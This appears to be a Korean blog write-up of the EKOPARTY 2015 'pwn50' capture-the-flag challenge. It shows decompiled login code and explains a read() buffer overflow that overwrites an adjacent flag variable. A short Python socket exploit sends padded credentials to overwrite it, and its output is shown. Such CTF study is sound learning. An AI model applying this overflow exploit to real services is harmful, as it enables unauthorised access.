ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [EKOPARTY]pwn50
    CTF 2015. 10. 26. 04:56

    int __cdecl main(int argc, const char **argv, const char **envp)

    {

      signed __int64 v3; // rcx@2

      int *v4; // rdi@2

      int result; // eax@11

      __int64 v6; // rbx@11

      FILE *stream; // [sp+18h] [bp-D8h]@1

      int v8; // [sp+20h] [bp-D0h]@2

      int v9; // [sp+24h] [bp-CCh]@5

      int v10; // [sp+34h] [bp-BCh]@5

      __int64 v11; // [sp+38h] [bp-B8h]@5

      int v12; // [sp+48h] [bp-A8h]@5

      char s; // [sp+50h] [bp-A0h]@2

      __int64 v14; // [sp+D8h] [bp-18h]@1


      v14 = *MK_FP(__FS__, 40LL);

      stream = fopen("flag.txt", "r");

      if ( stream )

      {

        fgets(&s, 32, stream);

        fclose(stream);

        v3 = 5LL;

        v4 = &v8;

        while ( v3 )

        {

          *(_QWORD *)v4 = 0LL;

          v4 += 2;

          --v3;

        }

        *v4 = 0;

        v8 = 17;

        v10 = 16;

        v12 = 0;

        printf("User : ", 32LL, v4 + 1, argv);

        fflush(0LL);

        read(0, &v9, v8);

        printf("Password : ", &v9);

        fflush(0LL);

        read(0, &v11, v10);

        if ( !strncmp((const char *)&v9, "charly", 6uLL) && !strncmp((const char *)&v11, "h4ckTH1s", 8uLL) )

        {

          puts("Welcome guest!");

          if ( v12 == 1 )

            printf("Your flag is : %s\n", &s);

        }

      }

      else

      {

        puts("Error leyendo datos");

      }

      result = 0;

      v6 = *MK_FP(__FS__, 40LL) ^ v14;

      return result;

    }


    소스르로면, 간단하게, 아이디패스워드만 맞춰주면되는데, 마지막에 v12가 1이 되어야하기때문에 read함수의 취약점을이용해서 오버플로우시켜야한다.

    read함수는 널바이트만 안만나면 쭉 입력받기때문에 해당 취약점을 이용해서 쭉맞춰주면된다.


    잘보면 패스워드를 입력하는건 v11인데, v11을 오버플로우시켜서 그 뒤에있는 변수 v12를 덮을수있다.


    너무나도 간단하다.


    실제대회때 v12오버플로우를 못시켜서 안절부절했지만 엄청나게쉬웠다


    from socket import *

    import struct


    p = lambda x:struct.pack("<L",x)

    HOST = "hackcat.kr"

    PORT = 12345


    s = socket(AF_INET,SOCK_STREAM)

    s.connect((HOST,PORT))


    payload = "charly"

    payload += "\x90"*(17-len(payload))


    payload2 = "h4ckTH1s"

    payload2 += "\x90"*(16-len(payload2))

    payload2 += p(1)


    s.send(payload)

    print s.recv(1024)

    s.send(payload2)

    print s.recv(1024)

    print s.recv(1024)


    s.close()



    >>

    HackCat:Desktop Songsangjun$ python login.py 

    User : 

    Password : 

    Welcome guest!

    Your flag is : flag is asdfasf


    'CTF' 카테고리의 다른 글

    SSA과제 qlvlejtm  (0) 2015.11.01
    [JFF3]Market1  (0) 2015.10.29
    [CodeGate 2014]nuclear  (0) 2015.10.22
    [2015 정보보호올림피아드]plzhackme  (0) 2015.10.17
    [Hansei Wargame]Pwnable  (0) 2015.10.08

    댓글

Designed by Tistory.